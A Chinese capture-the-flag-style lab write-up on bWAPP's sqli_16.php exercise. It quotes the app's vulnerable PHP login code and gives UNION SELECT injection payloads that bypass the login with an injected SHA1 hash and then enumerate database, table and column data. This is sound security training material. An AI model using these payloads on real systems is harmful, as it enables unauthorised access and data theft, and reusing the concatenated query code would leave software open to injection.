SQL注入之bWAPP之sqli_16.php

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之bWAPP之sqli_16.php相关的知识,希望对你有一定的参考价值。

SQL Injection (Login Form/User),这个注入真的让我崩溃,说好的单引号报错后,相应的改SQL语句,然而并没用,然后求助身边的大牛,他说这个好像不一样,曾经好像是一道CTF的题,和一般的SQL注入不一样,但是一时想不起来怎么秀的了,然后终于想了起来,接着带着我一顿操作,终于明白是怎么回事了。
这一切都要从代码讲起,先看代码:
技术分享图片
从第二行开始,$login参数接收传入的login,$password接收传入的password,sqli($password)这个是设置难度的,这里没有用,接着将password使用sha1方式hash,然后是SQL查询语句,只查询了login,接下来是第15行$recordset连接数据库并使用$sql的查询语句,在看if、else语句的else部分,第23行$row取出查询结果的一组作为关联数组,这点很重要,还有下面一点,第25行的判断句“if($row["login"] && $password == $row["password"])”,这里要使$row["login"]为真而且$password == $row["password"]),这要怎么弄呢,有方法,$row["login"]不是$login,而是查询后存放在$row的login的值,同理第9行$passwrod和hash值只要等于$row["password"]),所以可以构造SQL语句了,这里比较难受的问题是,你不知道字段数和login和password对应的字段的位置,所以我们需要黑白盒结合起来,打开数据库查询字段和位置,(代码在最后附上)如图:
技术分享图片
可以看到password在第三个字段处,我们让password的值为“1”,在线MD5一下,找到sha1对应的hash值为“356a192b7913b04c54574d18c28d46e6395428ab”,开始构造查询语句,输入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,结果如图:
技术分享图片
再详细说下原因:将“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”赋给login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=1”,1的hash的值被我们添加到联合查询语句里了,这样返回的显示中就有1的hash值,即返回的查询有1的hash值,如此$row["password"]的值就是我们传入到password位置的1的hash值了,这样$password的值就等于$row["password"],所以第25行的if判断语句就为真了,是不是很有意思。
下面就是正常的SQL查询了,我也跟着在来一遍。
1、查询数据库等信息:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,结果如图:
技术分享图片
2、查询表名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看见表名为“Blog”并且还有一个“wapp”数据库,可以自己尝试一下,结果如图:
技术分享图片
3、查询字段名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,结果如图:
技术分享图片
4、查询字段的内容:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。

部分代码如下:

<?php
    if(isset($_POST["form"]))
    {
        $login = $_POST["login"];
        $login = sqli($login);

        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);

        $sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";

        // echo $sql;

        $recordset = mysql_query($sql, $link);

        if(!$recordset)
        {
            die("Error: " . mysql_error());
        }
        else
        {
            $row = mysql_fetch_array($recordset);

            if($row["login"] && $password == $row["password"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) .    "</b></p>";
                // $message = $row["login"];
            }
            else
            {
                $message = "<font color=\"red\">Invalid credentials!</font>";
            }
        }
        mysql_close($link);
    }
    echo $message;
?>

以上是关于SQL注入之bWAPP之sqli_16.php的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入之bWAPP之sqli_2.php

SQL注入之bWAPP之sqli_1.php

SQL注入之bWAPP之sqli_6.php

SQL注入之bWAPP之sqli_13.php

SQL注入之bWAPP之sqli_11.php

SQL注入之bWAPP之sqli_10-1.php